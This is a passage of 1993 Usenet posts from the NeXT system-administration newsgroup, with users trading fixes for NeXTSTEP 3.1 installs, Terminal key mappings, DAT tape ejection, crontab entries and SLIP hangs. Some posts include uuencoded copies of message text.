M:6X@0W)U>@D)"44M;6%I;#H@:V5V:6Y`86UE<FEC86XN961U7`I#;VUP=71E M<B!38VEE;F-E($1E<'0N"0E0:&]N93H@*#(P,BD@.#@U+3(W-C=<"E1H92!! M;65R:6-A;B!5;FEV97)S:71Y7`I787-H:6YG=&]N+"!$+D,N7`H@("`@(%P* M(DD@=&AI;FL@4F]D;F5Y($MI;F<@<V%I9"!I="!B97-T('=H96X@7`H@:&4@ M<V%I9"P@)T]W+"!O=RP@;W<L(')A8VES;2!S=6-K<R$G(@D@("TM($1E;FES M($QE87)Y7`HM+2TM+2TM+2TM+2TM+2TM+2TM+2TM+2TM+2TM+2TM+2TM+2TM E+2TM+2TM+2TM+2TM+2TM+2TM+2TM+2TM+2TM+2TM+2U<"@I]"BTM `
From: bu934@cleveland.Freenet.Edu (Richard Bisbey II) Newsgroups: comp.sys.next.sysadmin Subject: Re: Installing NS 3.1 from scratch on a cube Date: 23 Jun 1993 17:29:44 GMT Organization: Case Western Reserve University, Cleveland, Ohio (USA) Message-ID: <20a3u8$32h@usenet.INS.CWRU.Edu> Mike Perka at Next correctly diagnosed my problem (that I was using sdmach kernel from my NS 3.0 to boot the NS 3.1 CD). Since I don't have a floppy drive for the boot helper, I successfully used Mike's suggested workaround: ... If you don't have a floppy drive and want to use the existing 3.0 disk as the boot helper (as well as the install target), then you can: -- Boot off the existing 3.0 filesystem -- Mount the 3.1 CD -- Copy the 3.1 kernel from the CD to something like /newmach -- Reboot using bsd()newmach rootdev=sd1 My thanks to to Mike and Next for the quick response.
From: robinc@jhunix.hcf.jhu.edu (Robert Delucca) Newsgroups: comp.sys.next.sysadmin Subject: What does "scintr program error" mean? Date: 23 Jun 1993 13:32:21 -0400 Organization: Homewood Academic Computing, Johns Hopkins University, Baltimore, Md, USA Message-ID: <20a435INNj3h@jhunix.hcf.jhu.edu> Hello, I have a Seagate 250mb internal drive which has been spinning down and stopping (not the fan, the drive) for no apparent reason. I checking the connections. I've got a replacement drive on the way from Bell Atlantic. When I booted, I got "scintr program error" at the very beginning of the boot sequence in the ROM monitor. Nothing else out of the ordinary. No console messages either. What does this mean? Inquiring mind wants to know. Thanks Robert de Lucca email robinc@jhunix.hcf.jhu.edu
From: grant@Manticore.COM (Grant J. Munsey) Newsgroups: comp.sys.next.sysadmin Subject: Is 3.0 to 3.1 an "easy" upgrade? Message-ID: <382@gouche.UUCP> Date: 23 Jun 93 15:56:35 GMT Sender: grant@gouche.UUCP What's the consensus on upgrading from 3.0 to 3.1 on a slab? Does it generally go smoothly? Is there a doc somewhere that tells what the enhancements for 3.1 are or is it all bug fixes? Thanks, -- ---- Grant Munsey, Mainticore, Inc., (408)252-1135, fax: (408)446-9355 grant@manticore.com or uunet!ub-gate!gouche!grant
From: kevin@american.edu (Kevin Cruz) Newsgroups: comp.sys.next.sysadmin Subject: ~ ` | = \ / keys not working Date: 23 Jun 1993 17:49:36 GMT Organization: The American University Computing Center Message-ID: <20a53gINNnt2@au-ns.american.edu> I am having problems with the 4 keys on the top row of the number pad, namely, the ` = / * ~ | \ keys. This problem only occurs when I use Terminal.app and Emacs; not when I use any other applications or editors (as you can see). I switched the 'Keyboards' from USA to Unix and vice versa and placed English at the top of the language list in the Preference.app but nothing changed. I use several NeXTstations ( NeXTCube, NeXTStation, NeXTStation turbo; running 3.0) and it is the same for all of them. It seems that I'm the only one with this problem so I'm thinking it has something to do with my .cshrc file but I have not clue as to what it may be. I should also add that I have no problems with those keys when I use a sun3 or SPARC workstation. This is frustrating as I use the "~" and "|" quite often; I've had enough by now, I can't handle it. Any suggestions are greatly appreciated. Thanks. --Kevin --------------------------------------------------------------------- Kevin Cruz E-mail: kevin@american.edu Computer Science Dept. Phone: (202) 885-2767 The American University Washington, D.C. "I think Rodney King said it best when he said, 'Ow, ow, ow, racism sucks!'" -- Denis Leary --------------------------------------------------------------------- -- NewsGrazer, a NeXTstep(tm) news reader, posting -- M>UQR=&8P7&%N<VE[7&9O;G1T8FQ<9C!<9FYI;"!/<'1I;6$[?0I<;6%R9VPQ M,C`*7&UA<F=R,3(P"EQP87)D7'1X-3,S7'1X,3`V-UQT>#$V,#%<='@R,3,U M7'1X,C8V.%QT>#,R,#)<='@S-S,V7'1X-#(W,%QT>#0X,#-<='@U,S,W7&8P M7&(P7&DP7'5L;F]N95QF<S(T7&9C,%QC9C`@22!A;2!H879I;F<@<')O8FQE M;7,@=VET:"!T:&4@-"!K97ES(&]N('1H92!T;W`@<F]W(&]F('1H92!N=6UB M97(@<&%D+"!N86UE;'DL('1H92!@(#T@+R`J('X@?"!<7"!<"FME>7,N("!4 M:&ES('!R;V)L96T@;VYL>2!O8V-U<G,@=VAE;B!)('5S92!497)M:6YA;"YA M<'`@86YD($5M86-S.R!N;W0@=VAE;B!)('5S92!A;GD@;W1H97(@87!P;&EC M871I;VYS(&]R(&5D:71O<G,@*&%S('EO=2!C86X@<V5E*2Y<"EP*22!S=VET M8VAE9"!T:&4@)TME>6)O87)D<R<@9G)O;2!54T$@=&\@56YI>"!A;F0@=FEC M92!V97)S82!A;F0@<&QA8V5D($5N9VQI<V@@870@=&AE('1O<"!O9B!T:&4@ M;&%N9W5A9V4@;&ES="!I;B!T:&4@4')E9F5R96YC92YA<'`@8G5T(&YO=&AI M;F<@8VAA;F=E9"Y<"EP*22!U<V4@<V5V97)A;"!.95A4<W1A=&EO;G,@*"!. M95A40W5B92P@3F585%-T871I;VXL($YE6%13=&%T:6]N('1U<F)O.R!R=6YN M:6YG(#,N,"D@86YD(&ET(&ES('1H92!S86UE(&9O<B!A;&P@;V8@=&AE;2Y< M"EP*270@<V5E;7,@=&AA="!))VT@=&AE(&]N;'D@;VYE('=I=&@@=&AI<R!P M<F]B;&5M('-O($DG;2!T:&EN:VEN9R!I="!H87,@<V]M971H:6YG('1O(&1O M('=I=&@@;7D@+F-S:')C(&9I;&4@8G5T($D@:&%V92!N;W0@8VQU92!A<R!T M;R!W:&%T(&ET(&UA>2!B92X@($D@<VAO=6QD(&%L<V\@861D('1H870@($D@ M:&%V92!N;R!P<F]B;&5M<R!W:71H('1H;W-E(&ME>7,@=VAE;B!)('5S92!A M('-U;C,@;W(@4U!!4D,@=V]R:W-T871I;VXN7`I<"E1H:7,@:7,@9G)U<W1R M871I;F<@87,@22!U<V4@=&AE(")^(B!A;F0@(GPB("!Q=6ET92!O9G1E;CL@ M22=V92!H860@96YO=6=H(&)Y(&YO=RP@22!C86XG="!H86YD;&4@:70N7`I< M"D%N>2!S=6=G97-T:6]N<R!A<F4@9W)E871L>2!A<'!R96-I871E9"X@5&AA M;FMS+EP*7`HM+4ME=FEN7`I<"BTM+2TM+2TM+2TM+2TM+2TM+2TM+2TM+2TM M+2TM+2TM+2TM+2TM+2TM+2TM+2TM+2TM+2TM+2TM+2TM+2TM+2TM+2TM+5P* M2V5V:6X@0W)U>@D)"44M;6%I;#H@:V5V:6Y`86UE<FEC86XN961U7`I#;VUP M=71E<B!38VEE;F-E($1E<'0N"0E0:&]N93H@*#(P,BD@.#@U+3(W-C=<"E1H M92!!;65R:6-A;B!5;FEV97)S:71Y7`I787-H:6YG=&]N+"!$+D,N7`H@("`@ M7`HB22!T:&EN:R!2;V1N97D@2VEN9R!S86ED(&ET(&)E<W0@=VAE;B!<"B!H M92!S86ED+"`G3W<L(&]W+"!O=RP@<F%C:7-M('-U8VMS(2<B"2`@+2T@1&5N M:7,@3&5A<GE<"BTM+2TM+2TM+2TM+2TM+2TM+2TM+2TM+2TM+2TM+2TM+2TM I+2TM+2TM+2TM+2TM+2TM+2TM+2TM+2TM+2TM+2TM+2TM+5P*("`*?0HM `
From: ramesh@bodhi.esys.cwru.edu (Ramesh Dodamani) Newsgroups: comp.sys.next.sysadmin Subject: Networking not working- Solved! Date: 23 Jun 1993 20:08:11 GMT Organization: Case Western Reserve University, Cleveland, Ohio (USA) Message-ID: <20ad7b$h69@usenet.INS.CWRU.Edu> The Problem was that I did not have the terminators on either ends of the cable. Thanks to Regis Wilson,Bruce Gingery and the NeXT engineer for analysing what could have been the problem. Ramesh
Newsgroups: comp.sys.next.sysadmin From: tmaas@rchland.vnet.ibm.com (Tony Maas) Subject: Hard drive upgrade Sender: news@rchland.ibm.com Message-ID: <1993Jun23.205517.14308@rchland.ibm.com> Date: Wed, 23 Jun 1993 20:55:17 GMT Disclaimer: This posting represents the poster's views, not necessarily those of IBM Organization: IBM Rochester My situation: I have an 8/200 mono NeXTstation. I want to replace the internal 200 MB hard drive with a 1.2G 3.5" drive. Can I just pull the 200, plug in the 1.2G(with terminator, et al) and do a scratch install of 3.1? I have 3.0 on my internal 200 right now. If yes, please explain how to do the scratch install. Thanks. Tony Maas IBM Rochester, MN email at: tmaas@rchland.vnet.ibm.com
From: sears@tree.egr.uh.edu (Paul S. Sears) Newsgroups: comp.sys.next.sysadmin Subject: Re: Programatic way to eject WangDAT Date: 24 Jun 1993 12:01:34 GMT Organization: University of Houston Distribution: usa Message-ID: <20c52u$n43@menudo.uh.edu> References: <1993Jun24.033300.4294@FreemanSoft.com> In article <1993Jun24.033300.4294@FreemanSoft.com> joe@FreemanSoft.com (Joe Freeman) writes: #I've been trying to figure out a way to get my WangDAT to eject #programaticly. I set the switch that tells it to unload on rewind with no #effect. # #Does anyone know of a program or method that will eject a DAT tape? #-- #Joe Freeman #FreemanSoft Inc. A NEXTSTEP software and consulting services company. #Electronic Mail: Joe@FreemanSoft.com (NeXT Mail) #Voice: 919.783.7033 try "mt -f /dev/nrst0 offline" Look in the man page for "mt" for more details... -- Paul S. Sears * sears@uh.edu (NeXT Mail OK) The University of Houston * suggestions@tree.egr.uh.edu (NeXT Engineering Computing Center * comments, complaints, questions) NeXT System Administration * DoD#1967 '83 NightHawk 650SC >>> SSI Diving Certification #755020059 <<< "Programming is like sex: One mistake and you support it a lifetime."
From: kevin@american.edu (Kevin Cruz) Newsgroups: comp.sys.next.sysadmin Subject: ~ ` | = \ / keys not working (SOLVED) Date: 24 Jun 1993 14:00:54 GMT Organization: The American University Computing Center Message-ID: <20cc2mINNalf@au-ns.american.edu> References: <20a53gINNnt2@au-ns.american.edu> Perhaps I did not make myself clear on the previous post as to what my problem was. When I typed the ~ ` | = \ / keys, I would get some weird codes instead of the actual characters. As Alan Keahey suggested, I changed the preferences in Terminal.app, vt100 Emulation. I had the preferences set to 'generate vt100 codes' and it had to be set for the 'strict vt100 emulation' instead. That also took care of Emacs as well. Now, I can finally use the tilde and pipe keys again. --Kevin ------------------------------------------------------------- Kevin Cruz E-mail: kevin@american.edu Computer Science Dept. Phone: (202) 885-2767 The American University Washington, D.C.
From: andrew@cubetech.com (Andrew Loewenstern) Newsgroups: comp.sys.next.sysadmin Subject: Re: Things that get stuck when SLIP is active Date: 24 Jun 1993 08:40:14 -0500 Organization: Cube Technologies, Inc Message-ID: <20caru$7eg@valinor.cubetech.com> References: <20b1vq$4h1@wa3ymh.transsys.com> <20b4bnINNqp7@emory.mathcs.emory.edu> In article <20b4bnINNqp7@emory.mathcs.emory.edu> wmorse@erasure_sl.cc.emory.edu (William Morse) writes: >So, now... for the million dollar question: What can we do to help the >problem? Call NeXT to ask for a fix? :) Is there an adjustment we can >make? etc. > >Actually, I have found one thing that *helps* ---> turn off cslip. It >helped here for me at Emory... Why it did, I do not know. This also affects PPP users, so I don't think it is related to cslip. I would love to know how to fix this exceedingly irritating problem! andrew -- andrew@cubetech.com | "We cannot dwell in the time that is to come, Andrew Loewenstern | lest we lose our now for a phantom of our Cube Technologies, Inc. | own design." - Erendis FYEO Public Key: 0000000701B61D1ADF0DFC9C16185CEA055200000007EB4A9FEB1922065D471A89E905B5
From: yygold@yadin.phyast.pitt.edu (Yadin Y. Goldschmidt) Newsgroups: comp.sys.next.sysadmin Subject: Re: Syetem Hangs (was Re: 3.1 user upgrade) Message-ID: <15033@blue.cis.pitt.edu> Date: 24 Jun 93 14:19:52 GMT References: <scott.740586911@shrug> <1993Jun21.135954.359@znext.cts.com> Sender: news+@pitt.edu james dehnert (zeke@znext.cts.com) wrote: : In article <scott.740586911@shrug> S.A.McIntyre@durham.ac.uk (Scott A. : McIntyre) writes: : > : > I'm dying to know: : > : > Has anyone on Black with 3.1 had the proliferation of <mach-tasks> : > or are they really gone? : > : > Thanks. : > : > Scott : > : znext:/private/adm : 7->ps -aux | grep mach-task : zeke 342 1.6 1.3 1.61M 208K p1 S 0:00 grep mach-task : root -1 0.0 0.0 0K 0K ? SW 0:00 <mach-task> : root -1 0.0 0.0 0K 0K ? SW 0:00 <mach-task> : root -1 0.0 0.0 0K 0K ? S 0:00 <mach-task> : root -1 0.0 0.0 0K 0K ? SW< 0:00 <mach-task> : root -1 0.0 0.0 0K 0K ? ?W< 0:00 <mach-task> : root -1 0.0 0.0 0K 0K ? S 0:00 <mach-task> This is the normal number of mach processes. I upgraded to 3.1 and this number stays constant and does not proliferate like in 3.0. : But worse than that, my system now seems to hang whenever it feels like it!! : It is anoying to the point of making my system unusable because it is : unreliable. I think I'll try doing a full install of the software instead of I upgraded to 3.1 and experienced no problems. On the contrary programs ru faster and smoother, scroll bars roll much faster, no hang ups whatsoever. You may have probably have some other problems, maybe network related. : Zeke : -- : -=+~+=- Eschew Obfuscation Next Mail Welcome -=+~+=- : -=+~+=- James "Zeke" Dehnert zeke@znext.cts.com -=+~+=- Yadin.
From: brian@systemix.com (Brian Cuthie) Newsgroups: comp.sys.next.sysadmin Subject: Re: Programatic way to eject WangDAT Date: 24 Jun 1993 10:55:38 -0400 Organization: Systemix Software, Inc. Distribution: usa Message-ID: <20cf9aINNt87@systemix.com> References: <1993Jun24.033300.4294@FreemanSoft.com> <20c52u$n43@menudo.uh.edu> In article <20c52u$n43@menudo.uh.edu> sears@uh.edu writes: >In article <1993Jun24.033300.4294@FreemanSoft.com> joe@FreemanSoft.com (Joe >Freeman) writes: >#I've been trying to figure out a way to get my WangDAT to eject >#programaticly. I set the switch that tells it to unload on rewind with no >#effect. ># >#Does anyone know of a program or method that will eject a DAT tape? >#-- >#Joe Freeman >#FreemanSoft Inc. A NEXTSTEP software and consulting services company. >#Electronic Mail: Joe@FreemanSoft.com (NeXT Mail) >#Voice: 919.783.7033 > >try "mt -f /dev/nrst0 offline" > Oh, no. You have a WangDAT !? I bet it says PLI on the outside. It seems that the WangDAT guys decided it would be real cool to have a switch that causes the drive *NOT* to eject in response to the SCSI LOAD/UNLOAD command. Of course, it does take the drive offline, making it unusable until you either explicitly bring it on-line (either through another SCSI LOAD/UNLOAD command, or by pressing the eject button and reinserting the tape). The fact that some OEMs set this switch to not unload the tape is brain dead, since there is no UNIX command that will bring the drive back on-line. Anyway, there's an 8 position dip switch on the drive, make sure switch 4 is on. When on, this switch will cause the tape to be physically ejected in response to an UNLOAD command. Brian -- Brian Cuthie Voice: (410) 290-8813 Systemix Software, Inc. Email: brian@systemix.com
Newsgroups: comp.sys.next.sysadmin From: lorinr@altsys.com (Lorin Rivers III) Subject: Problems in NS 3.1 Message-ID: <1993Jun24.152317.11129@altsys.com> Keywords: NEXTSTEP 3.1, TickleServices, open Organization: Altsys Corporation, Richardson, TX Date: Thu, 24 Jun 1993 15:23:17 GMT This is what happens when I try to use /usr/bin/open: 26> open -a Edit open: can't open connection to Edit on local host. Also, I am having trouble getting TickleServices to work. I have read the problems section, talked with Scott Hess, rebooted, renamed my .NeXT folder, and so forth (i.e., this is not a simple problem). Any help would be most appreciated. Thanks a zillion. If someone has answered this already, and I missed it, my apologies. Our newsfeed was hosed for a while... -- Lorin Rivers Lorin_Rivers@altsys.com Altsys Technical Support 214.680.2518 269 W. Renner Parkway NeXT Mail Expected Richardson, Texas 75080 I said it, not my boss
Newsgroups: comp.sys.next.sysadmin From: pantonm@dannug.dk(Poul Anton Moeller) Subject: Problems with NSI (25May-version) on GX Message-ID: <C94FHr.G97@dannug.dk> Keywords: NSI 3.1 Installation Sender: pantonm@dannug.dk (Poul Anton Myller) Organization: Danish NeXT-Users group Date: Thu, 24 Jun 1993 10:22:39 GMT Hi, After I installed the NSI PreRelease 2 months ago on a GX Pro and have been running it with no problems with an Ide disk, the Adaptec 1542 B and Intel EtherExpress in a "Black" network, I now tried to install the final schrink-wrap NSI release on the exact same configuration - nothing was changed at all - and I have major problems. When the installation is over and I am told to eject the floppy and boot from the hard drive, it boots but stops after checking the disk (OK) and writes: Ide:Dma Error Count = 0x1dc4 Ide:SoftResetIde diagError = 0x1 Ide:Timeout while waiting for interupt Cmd=0ca Obviously there is a difference between the PreRelease and the final versions way to handle the hardware, but how do I solve this. I have tried everything I could think of for three days now. So please help me. Thank You, Poul A. Miller Danish NeXT User Group
From: sbart@nautilus.tamu.edu (Stephen Bartholomew) Newsgroups: comp.sys.next.sysadmin Subject: Help with Telebit T3000 Date: 24 Jun 1993 16:49:04 GMT Organization: Texas A&M University, College Station, TX Message-ID: <20clu0$sb@tamsun.tamu.edu> Help! I am trying to set up a SLIP connection between two NeXTs and I cannot seem to get the host modem configured properly to allow dialin. If I try to manually dialin with tip I do not recieve a login prompt. I believe I have the /etc/ttys set correctly and the port turned on but alas, no connection. Is there anyone out there using a T3000 for dialin that can send me a register dump? Or tell me what I might be doing wrong? Stephen Bartholomew sbart@atlantis.tamu.edu Texas A&M Univeristy Department of Aerospace Engineering
Newsgroups: comp.sys.next.sysadmin From: dan@ennex1.eng.utsa.edu (Daniel Shelton) Subject: Re: Nextdimension memory Message-ID: <1993Jun24.165943.21148@ringer.cs.utsa.edu> Sender: news@ringer.cs.utsa.edu Organization: Univ of Texas at San Antonio References: <1993Jun16.100632.7116@resonex.com> Date: Thu, 24 Jun 1993 16:59:43 GMT In article <1993Jun16.100632.7116@resonex.com> zenon@resonex.com (Zenon Fortuna) writes: > In article <1993Jun16.154435.23566@serval.net.wsu.edu> hakimian@haney.eecs.wsu.edu (Karl Hakimian - staff) writes: > >Is there a limit to how much memory can be put into a NeXTDimension board? > >We put 32megs in one of ours and we got system panics. With 20 meg it works > >fine. > > > >All 32 meg was tested and found to be good memory. > > > >-- > >Karl Hakimian > >hakimian@eecs.wsu.edu > > .... and related quest ion: is it a way to tell how much of memory a particular > NeXTDimention board has ? (without opening the cube) > > -Z. If you boot up a NeXT with 3.0 in verbose mode, a message will be printed on the screen indicating how much DRAM there is on the ND but you have to look for it because it is located in the last 2 or 3 lines of the boot sequence. Good Luck with your memory problem Danimian@eecs.wsu.edu > > .... and related quest
Newsgroups: comp.sys.next.sysadmin From: draphsor@deathstar.Stanford.EDU (Matt Rollefson) Subject: Re: How to get Icon for .gz or .tar.gz files (for Opener)? Message-ID: <1993Jun24.180858.13943@leland.Stanford.EDU> Summary: Use the Inspector to set things properly. Sender: news@leland.Stanford.EDU (Mr News) Organization: Stanford University References: <thompsonC9251I.L15@netcom.com> Date: Thu, 24 Jun 93 18:08:58 GMT In comp.sys.next.sysadmin thompson@netcom.com (Eric Thompson) writes: >I want to be able to double-click .gz and .tar.gz files and have >them to go Opener. Right now they have an Edit icon and go to Edit. >I have edited the Opener table to include .tar.gz and .gz, and I can >drag files to Opener to have it open them correctly, but I would >like them th have an icon and be able to double-click them. Two things. Log out and log back in, to make sure that the Workspace has recongnized the changes to Opener. Then, if it still doesn't work, go into the Inspector for a .gz file; set the default application to be Opener. Hope this helps! Rollie -- Matt Rollefson ("Rollie") draphsor@deathstar.stanford.edu Residential Computing, Stanford University NeXTmail accepted
From: anstine@uniblab.sas.upenn.edu (David Anstine) Newsgroups: comp.sys.next.sysadmin Subject: COPS Message-ID: <133176@netnews.upenn.edu> Date: 24 Jun 93 17:52:31 GMT Sender: news@netnews.upenn.edu Does anyone have a hacked version of COPS that is netinfo-aware? -dave
From: statman@stat.ufl.edu (charles d. kincaid) Newsgroups: comp.sys.next.sysadmin Subject: cleaning the printer... FAQ? Date: 24 Jun 1993 20:12:05 GMT Organization: University of Florida Message-ID: <20d1qlINNga1@no-names.nerdc.ufl.edu> Hello, My NeXTprinter has been producing streaks on anything I print from it. The streaks are primarily horizontal across the page with some bleeding vertically. It's almost as if a roller inside has too much toner. I looked inside the printer and on the toner cartidge is a green roller with what seems to be excess toner on it. Is this my problem? How can I clean this off? I think that this is an indication of another problem, but I'm not sure. I thought that I kept all relevant information about this sort of thing, but I can't find anything. (It's been two years!) I would guess that this is a general laser printer question rather than a NeXT specific question, but since it's a NeXT printer I came here first. Does anyone have any experience with this? Also as I was investigating inside the printer, I found a long skinny brush like thing (how's that for technical talk :-) in the back near the hinge. It has a green velvet (?) handle sort of thing on top. It seems to clean something, but I can't tell what? I looked in the FAQ and in NeXTAnswers, but nothing seems to discuss cleaning the printer. I guess it's assume that it's obvious. I greatly appreciate any and all advice. Your humble petitioner, charles d. kincaid statman@stat.ufl.edu -------------------------------------------------------------------- Dept. of Statistics 'Damn fine coffee...and hot, too!' Univ. of Florida Pres: G-ville NeXT Users Group NeXTMail preferred!!!
From: rprice@cbnewsg.cb.att.com (rodney.price) Newsgroups: comp.sys.next.programmer,comp.sys.next.sysadmin Subject: libg++ for the NS 3.0 compiler? Keywords: libg++ ns3.0 compiler Message-ID: <C94u9y.Ftq@cbfsb.cb.att.com> Date: 24 Jun 93 15:41:58 GMT Sender: news@cbfsb.cb.att.com Followup-To: poster Organization: AT&T I've been trying to install libg++-1.39.0 on my NS 3.0 system, so far unsuccessfully. The problem seems to be that 3.0 has the standard system include files scattered all over creation, whereas the makefile thinks they're in the standard locations (/usr/include and so on). Has anyone got a compiled libg++ that works with the NS 3.0 cc compiler? If you do, would you either NeXTmail it to me, tell me where I can ftp it, or tell me how to fix the makefile so that it will compile? Why don't I use the latest version of gcc? I've tried: gcc 2.4.5 compiles just fine, then libg++ 2.3.1 compiles and runs its tests successfully, except for one (ignored) segmentation fault. The NeXT-supplied debugger doesn't work with it, however, and it has a nasty bug that showed up in the first bit of code I tried to compile. This code worked fine under the NS 2.1 compiler and libg++ 1.39.0. I also tried compiling gcc 2.3.3, which is supposed to work with the NeXT debugger. The same problem shows up. I give up. I don't have any more time to burn trying to get the latest bells and whistles -- I just want something that works. Sorry for the complaining, but I'm pretty exasperated. Thanks for your help. Rod Price rprice@physics.att.com 908-582-3719
Newsgroups: comp.sys.next.sysadmin From: john@wpa.com (John Bartley) Subject: crontab problems with 3.1 (black) Message-ID: <1993Jun24.144948.3382@nimno.wpa.com> Sender: john@nimno.wpa.com Organization: Workgroup Productivity Associates Date: Thu, 24 Jun 1993 14:49:48 GMT I'm posting this for a friend. Please reply to the address shown at the end of the post. Thanks. ======================================================================= Since upgrading to 3.1 (black) I've been receiving the following messages in the Console: Jun 24 07:15:01 bullwinkle su: SU to news by root on (null pointer) Jun 24 07:35:01 bullwinkle su: SU to news by root on (null pointer) Jun 24 08:15:00 bullwinkle su: SU to news by root on (null pointer) Jun 24 08:35:00 bullwinkle su: SU to news by root on (null pointer) The relevant entries in crontab.local are: 15 * * * * root su news -c '/usr/lib/newsbin/input/newsrun' 35 * * * * root su news -c '/usr/lib/newsbin/batch/sendbatches' 59 0 * * * root su news -c '/usr/lib/newsbin/expire/doexpire' Can anyone explain the problem? Thanks, Steve Dieringer steved@bankone.com
Newsgroups: comp.sys.next.sysadmin From: herring@dannug.dk (Erick Herring) Subject: stty -extproc (was: rlogind is broken, anyone have a fixed version?) In-Reply-To: tlm@iastate.edu's message of Mon, 21 Jun 1993 16:52:21 GMT Message-ID: <HERRING.93Jun24225909@brutus.dannug.dk> Sender: herring@dannug.dk (Erick Herring) Organization: Danish NeXT Users Group References: <C8yCJE.1KH@usenet.ucs.indiana.edu> <1993Jun21.084646.3493@urz.unibas.ch> <tlm.740681541@scl1.al.iastate.edu> Date: Thu, 24 Jun 1993 21:59:09 GMT Tom is: Tom Marchioro <tlm@iastate.edu> Somebody (I think Robert Frank) says: >> >> I always got around this by having the following in my .login: >> >> stty -extproc Tom> After I added this to my .login (sent to me by someone over the Tom> net, who admitted he himself had no idea what it did) I made a Tom> fairly serious search to find out about this flag. Wrote to Tom> several Unix gurus I knew, checked various man pages and Tom> administration manuals. The upshot was that I *never* found out Tom> what it does. Just one of those weird pieces of Unix lore. . . . The following was gleaned from BSD net-2 code. I can't see that it is "documented" anywhere, either. Maybe this will at least salve your curiosity :-) stty.h: ------- struct info { int fd; /* file descriptor */ int ldisc; /* line discipline */ int off; /* turn off */ int set; /* need set */ int wset; /* need window set */ char *arg; /* argument */ struct termios t; /* terminal info */ struct winsize win; /* window info */ }; ioctl.h: -------- #define _IOW(x,y,t) (IOC_IN|((sizeof(t)&IOCPARM_MASK)<<16)|(x<<8)|y) #define IOC_IN 0x80000000 /* copy in parameters */ #define IOCPARM_MASK 0x7f /* parameters must be < 128 bytes */ #define TIOCEXT _IOW('t', 97, int) /* pty: external processing */ stty/key.c: ----------- void f_extproc(ip) struct info *ip; { int tmp; if (ip->set) { tmp = 1; (void)ioctl(ip->fd, TIOCEXT, &tmp); } else { tmp = 0; (void)ioctl(ip->fd, TIOCEXT, &tmp); } } Erick -- ----- Erick Herring | Computation is the art of carefully throwing H Data, Aalborg | away information [and] Life is the art of SysAdmin & Programming | carefully throwing away opportunities, an herring@dannug.dk | interesting coincidental parallel. (+45) 98 10 92 57 | - Guy L. Steele Jr.
Newsgroups: comp.sys.next.sysadmin From: lloyd@world.std.com (Chris Lloyd) Subject: Re: stty -extproc (was: rlogind is broken, anyone have a fixed version?) Message-ID: <C95FK1.AL3@world.std.com> Organization: The World Public Access UNIX, Brookline, MA References: <1993Jun21.084646.3493@urz.unibas.ch> <tlm.740681541@scl1.al.iastate.edu> <HERRING.93Jun24225909@brutus.dannug.dk> Date: Thu, 24 Jun 1993 23:21:36 GMT In article <HERRING.93Jun24225909@brutus.dannug.dk> herring@dannug.dk (Erick Herring) writes: >Tom is: Tom Marchioro <tlm@iastate.edu> >>> I always got around this by having the following in my .login: >>> >>> stty -extproc > >Tom> After I added this to my .login (sent to me by someone over the >Tom> net, who admitted he himself had no idea what it did) I made a >Tom> fairly serious search to find out about this flag. Wrote to >Tom> several Unix gurus I knew, checked various man pages and >Tom> administration manuals. The upshot was that I *never* found out >Tom> what it does. Just one of those weird pieces of Unix lore. . . . > >The following was gleaned from BSD net-2 code. I can't see that it is >"documented" anywhere, either. Maybe this will at least salve your >curiosity :-) >[...] Someone once gave me an AIX man page on pty which vaguely explained it, but I seemed to have misplaced it.... My understanding is that extproc is used by things like rlogin telnet, in which you have: shell <-pty-> telnetd <-net-> The pty will normally treat all data coming from telnetd as an unprocessed stream of characters, which it digests, doing things like cooked mode editing (if your in cooked mode) with the control characters you type into the stream. When you turn on extproc, the pty doesn't do as much processing (dont ask me what), which can then be done on the local end of the incoming telnet client, avoiding some single character traffic. However, none of it seems to work and seems nullified by things like line mode in telnet. shrug, -- :: Christopher Lloyd :: Yrrid Incorporated :: lloyd@world.std.com ::
Newsgroups: comp.sys.next.sysadmin From: brian@gehenna.acm.ndsu.NoDak.edu (Brian R. Glaeske) Subject: Re: crontab problems with 3.1 (black) Sender: usenet@ns1.nodak.edu (Usenet login) Message-ID: <C95FxB.o8x@ns1.nodak.edu> Date: Thu, 24 Jun 1993 23:29:34 GMT References: <1993Jun24.144948.3382@nimno.wpa.com> Organization: University of Southern North Dakota, Hoople In article <1993Jun24.144948.3382@nimno.wpa.com> steved@bankone.com writes: >The relevant entries in crontab.local are: > >15 * * * * root su news -c '/usr/lib/newsbin/input/newsrun' >35 * * * * root su news -c '/usr/lib/newsbin/batch/sendbatches' >59 0 * * * root su news -c '/usr/lib/newsbin/expire/doexpire' The crontab should look like: 15 * * * * news /usr/lib/newsbin/input/newsrun 35 * * * * news /usr/lib/newsbin/batch/sendbatches 59 0 * * * news /usr/lib/newsbin/expire/doexpire There is no need to do the silly su(1) thing for cron since it will run the command as the userid specified in the sixth column. -- Brian Glaeske glaeske@plains.NoDak.edu ---------------------------------------------------------------------------- "Men Rule. Rap Sucks. Eat Fatty Food." The PIPC, Outland
From: wrob@unixg.ubc.ca (Robert Wong) Newsgroups: comp.sys.next.sysadmin Subject: Help w/NS 3.1 black install Date: 25 Jun 1993 00:39:12 GMT Organization: University of British Columbia, Vancouver, B.C., Canada Message-ID: <20dhfgINN9di@skeena.ucs.ubc.ca> Hi, I just got NS 3.1 for Motorola (User Edition). Could some kind soul please send me the contents of the CD-ROM installation disk? Thanks. I don't have a floppy drive, so my current solution is to drive to my friend's place and have him kermit the files to me. (ug!) Oh, yeah: I'd loveto get it in uuencoded format instead of NeXTmail, as this address is actually on a sun machine. RWW. -- Robert W. Wong Jr. wrob@unixg.ubc.ca (ASCII only) Crasher of Automated Banking Machines
Newsgroups: comp.sys.next.sysadmin From: thor@sushi.uib.no Subject: Re: Things that get stuck when SLIP is active Message-ID: <1993Jun25.005636.8386@alf.uib.no> Sender: usenet@alf.uib.no (Bergen University Newsaccount) Organization: University of Bergen, Norway References: <20caru$7eg@valinor.cubetech.com> Date: Fri, 25 Jun 93 00:56:36 GMT In article <20caru$7eg@valinor.cubetech.com> andrew@cubetech.com (Andrew Loewenstern) writes: > In article <20b4bnINNqp7@emory.mathcs.emory.edu> wmorse@erasure_sl.cc.emory.edu (William Morse) writes: > >So, now... for the million dollar question: What can we do to help the > >problem? Call NeXT to ask for a fix? :) Is there an adjustment we can > >make? etc. > > > >Actually, I have found one thing that *helps* ---> turn off cslip. It > >helped here for me at Emory... Why it did, I do not know. > > This also affects PPP users, so I don't think it is related to cslip. > PPP version for NeXT impliments Van Jacobsen header compression. But it's not a feature you can turn off, it's `built in'. > I would love to know how to fix this exceedingly irritating problem! > > > andrew > -- > andrew@cubetech.com | "We cannot dwell in the time that is to come, > Andrew Loewenstern | lest we lose our now for a phantom of our > Cube Technologies, Inc. | own design." - Erendis FYEO Public Key: > 